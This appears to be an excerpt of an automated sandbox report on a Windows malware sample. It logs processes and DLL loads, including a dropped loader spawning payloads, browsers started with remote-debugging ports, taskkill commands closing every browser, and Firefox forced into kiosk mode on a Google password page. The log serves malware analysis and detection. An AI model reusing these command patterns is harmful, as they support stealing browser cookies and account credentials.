Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2204 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {587bd004-f34e-492e-9aa6-57c91a79be03} 8736 "\\.\pipe\gecko-crash-server-pipe.8736" 204fa36d710 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe "C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe"
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20230927232528 -prefsHandle 4156 -prefMapHandle 4136 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {434de7d9-ddfc-471b-8110-12ba07c112d8} 8736 "\\.\pipe\gecko-crash-server-pipe.8736" 2048cd1a510 rdd
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2560,i,1744162465723781976,2050082240511730868,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe "C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe "C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFCAAEBGC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2180,i,1193533664594745420,11843900780482775577,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2224,i,493605343487606503,8968169282104063803,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6416 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6448 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe "C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6420 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCFCAAEBGC.exe "C:\Users\user\DocumentsHCFCAAEBGC.exe"
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe "C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe "C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe "C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe "C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe "C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe"
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2204 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {587bd004-f34e-492e-9aa6-57c91a79be03} 8736 "\\.\pipe\gecko-crash-server-pipe.8736" 204fa36d710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20230927232528 -prefsHandle 4156 -prefMapHandle 4136 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {434de7d9-ddfc-471b-8110-12ba07c112d8} 8736 "\\.\pipe\gecko-crash-server-pipe.8736" 2048cd1a510 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2560,i,1744162465723781976,2050082240511730868,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsHCFCAAEBGC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	Section loaded: mswsock.dll
